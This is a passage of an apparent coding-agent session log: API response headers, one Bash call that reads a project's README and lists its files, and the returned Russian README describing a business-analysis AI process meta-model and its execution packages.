\"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.587Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.591Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.595Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.598Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.602Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.608Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.613Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.616Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.622Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.627Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.632Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.638Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.651Z] [STDOUT]     \"cf-ray\": \"a4295cf05d88dbb5-FRA\",\n[2026-09-29T07:44:31.657Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:31.662Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.666Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.672Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.676Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:31 GMT\",\n[2026-09-29T07:44:31.681Z] [STDOUT]     \"request-id\": \"req_011CfXMgmxMVMudpqofD34HK\",\n[2026-09-29T07:44:31.686Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:31.688Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.692Z] [STDOUT]     traceresponse: \"00-8dd9423407052eeadaea5322b8e3d5da-0276a20d448e13e9-01\",\n[2026-09-29T07:44:31.695Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.699Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:31.702Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.704Z] [STDOUT]   },\n[2026-09-29T07:44:31.708Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:31.711Z] [STDOUT] }\n[2026-09-29T07:44:31.718Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:31.725Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:31 GMT\",\n[2026-09-29T07:44:31.736Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.741Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.747Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:31.759Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.774Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.778Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.784Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:31.789Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.796Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.808Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.812Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.817Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.824Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.832Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.855Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:31.858Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.864Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.869Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.873Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.878Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.883Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.888Z] [STDOUT]   \"request-id\": \"req_011CfXMgmxMVMudpqofD34HK\",\n[2026-09-29T07:44:31.893Z] [STDOUT]   \"traceresponse\": \"00-8dd9423407052eeadaea5322b8e3d5da-0276a20d448e13e9-01\",\n[2026-09-29T07:44:31.899Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:31.903Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.906Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:31.911Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.939Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.947Z] [STDOUT]   \"cf-ray\": \"a4295cf05d88dbb5-FRA\",\n[2026-09-29T07:44:31.955Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:31.961Z] [STDOUT] [log_9f92db] response parsed {\n[2026-09-29T07:44:31.967Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:31.972Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:31.976Z] [STDOUT]   body: X {\n[2026-09-29T07:44:31.980Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:31.983Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:31.987Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:31.992Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:31.995Z] [STDOUT]     },\n[2026-09-29T07:44:31.999Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:32.004Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:32.009Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:32.012Z] [STDOUT]   },\n[2026-09-29T07:44:32.018Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:32.024Z] [STDOUT] }\n[2026-09-29T07:44:32.035Z] [INFO] {\n[2026-09-29T07:44:32.035Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:32.035Z] [INFO]   \"message\": {\n[2026-09-29T07:44:32.035Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"id\": \"msg_011CfXMggsmJCTfTYYvYSx25\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"content\": [\n[2026-09-29T07:44:32.035Z] [INFO]       {\n[2026-09-29T07:44:32.035Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:32.035Z] [INFO]         \"id\": \"toolu_01R12zTjNfkbb1q4T4Bs1hT1\",\n[2026-09-29T07:44:32.035Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:32.035Z] [INFO]         \"input\": {\n[2026-09-29T07:44:32.035Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process && cat README.md; find . -type f | grep -v \\\"^./dist\\\\|^./build\\\" | head -150; find . -type f | wc -l\",\n[2026-09-29T07:44:32.035Z] [INFO]           \"description\": \"Read ba-ai-process README and tree\"\n[2026-09-29T07:44:32.035Z] [INFO]         },\n[2026-09-29T07:44:32.035Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:32.035Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:32.035Z] [INFO]         }\n[2026-09-29T07:44:32.035Z] [INFO]       }\n[2026-09-29T07:44:32.035Z] [INFO]     ],\n[2026-09-29T07:44:32.035Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:32.035Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:32.035Z] [INFO]       \"cache_creation_input_tokens\": 2811,\n[2026-09-29T07:44:32.035Z] [INFO]       \"cache_read_input_tokens\": 33781,\n[2026-09-29T07:44:32.035Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:32.035Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:32.035Z] [INFO]         \"ephemeral_1h_input_tokens\": 2811\n[2026-09-29T07:44:32.035Z] [INFO]       },\n[2026-09-29T07:44:32.035Z] [INFO]       \"output_tokens\": 44,\n[2026-09-29T07:44:32.035Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:32.035Z] [INFO]   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\"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:32.864Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:32.864Z] [INFO]     \"total_tokens\": 14899,\n[2026-09-29T07:44:32.864Z] [INFO]     \"tool_uses\": 4,\n[2026-09-29T07:44:32.864Z] [INFO]     \"duration_ms\": 10554\n[2026-09-29T07:44:32.864Z] [INFO]   },\n[2026-09-29T07:44:32.864Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:32.864Z] [INFO]   \"uuid\": \"cf73e406-6c9f-4d9b-9538-cbbf13d2b4d9\",\n[2026-09-29T07:44:32.864Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:32.864Z] [INFO] }\n[2026-09-29T07:44:33.428Z] [INFO] {\n[2026-09-29T07:44:33.428Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"message\": {\n[2026-09-29T07:44:33.428Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:33.428Z] [INFO]     \"content\": [\n[2026-09-29T07:44:33.428Z] [INFO]       {\n[2026-09-29T07:44:33.428Z] [INFO]         \"tool_use_id\": \"toolu_01R12zTjNfkbb1q4T4Bs1hT1\",\n[2026-09-29T07:44:33.428Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:33.428Z] [INFO]         \"content\": \"---\\nstatus: canonical\\nversion: 1.6\\nupdated: 2026-09-28\\ntemperature: 0.1\\nscope: mango-only\\ntype: research\\n---\\n\\n# BA AI Process \u2014 Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 **\u00ab\u043a\u0430\u043a \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e\\n\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044f MANGO \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445\u00bb**: \u043a\u0430\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0435\\n\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u0443. GigaCode CLI \u2014 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430; Cline \u0441 Mango AI\\n\u0438 Qwen Chat \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u043f\u043e\\n[issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615).\\n\\n\u042d\u0442\u043e **\u0434\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432**, \u0430 \u043d\u0435 \u043e\u0431\u0449\u0430\u044f \u0440\u0430\u043c\u043a\u0430. \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0441\u0443\u0442\\n`scope: mango-only`. \u0417\u0434\u0435\u0441\u044c `mango-only` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 **\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\\nMANGO** (\u0432\u0441\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u043c\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438), \u0430 \u043d\u0435 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439\\n\u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438/\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044e;\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-158`), \u0430 \u043d\u0435\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n[`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md).\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u043e\\n[`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md):\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0436\u0438\u0432\u0451\u0442 \u0432 `projects/<\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435>/`, \u0430 \u043e\u0431\u0449\u0438\u0439\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `research/` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439 \u0440\u0430\u043c\u043a\u043e\u0439. \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u0432\\n[PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572),\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-155`\\n([#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\\n\u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\\n[Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md),\\n\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u044b \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043c\u0435\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 \u0441\u0432\u043e\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u044b \u0432 `ba-meta-model/`: \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438.\\n\\n## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563),\\n  \u0432\u0435\u0440\u0441\u0438\u044f 0.2 \u2014 [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`,\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n  `DP-1`\u2026`DP-5`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435\u043c `LG-1`\u2026`LG-6`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `SKILL.md` (`SK-0`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442, Golden Set \u0438 \u043f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n  MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435\\n  [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u0438 [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e;\\n  [`product-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/product-taxonomy)\\n  \u0445\u0440\u0430\u043d\u0438\u0442 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 capabilities MANGO \u0438 \u0438\u0445 42\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0418\u0422/\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 Distribution.\\n- [`meta-model-guides/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/meta-model-guides/README.md)\\n  \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0447\u0438\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB,\\n  Confluence MCP, \u0437\u0430\u043f\u0443\u0441\u043a/\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 task \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 debug.\\n- [`tests/execution-package/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/tests/execution-package/README.md)\\n  \u2014 mock-fixtures, assertions \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0433\u0440\u0430\u0444\u0430 \u0431\u0435\u0437 LLM \u0438 MCP.\\n- [`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md)\\n  \u2014 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441 `.gigacode/skills/`, \u044f\u0432\u043d\u044b\u043c dispatcher, debug-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438, \u0433\u0440\u0430\u0444\u043e\u043c, Golden Set \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c `G-mach`.\\n- [`dist/execution-package-cline-vscode/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-621-bd8c46c08849/projects/ba-ai-process/dist/execution-package-cline-vscode/README.md)\\n  \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0438\u043b\u043e\u0442 Cline \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e BCREQ Working \u2192 Release \u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438\\n  hooks, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c runner, CI gate, trace \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f; Source\\n  \u0441\u0431\u043e\u0440\u043a\u0438 \u2014 `build/common/` \u0438 `build/adapters/cline-vscode/`.\\n- [`meta-model-guides/qwen-chat-runtime-migration-instruction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/meta-model-guides/qwen-chat-runtime-migration-instruction.md)\\n  \u2014 \u043c\u0430\u043d\u0434\u0430\u0442 \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runtime \u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443\\n  quick-check \u0432 Qwen Chat; \u044d\u0442\u043e \u043d\u0435 execution package.\\n\\n\u041f\u0430\u043a\u0435\u0442 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 RRP-\u043c\u043e\u0434\u0443\u043b\u044c. 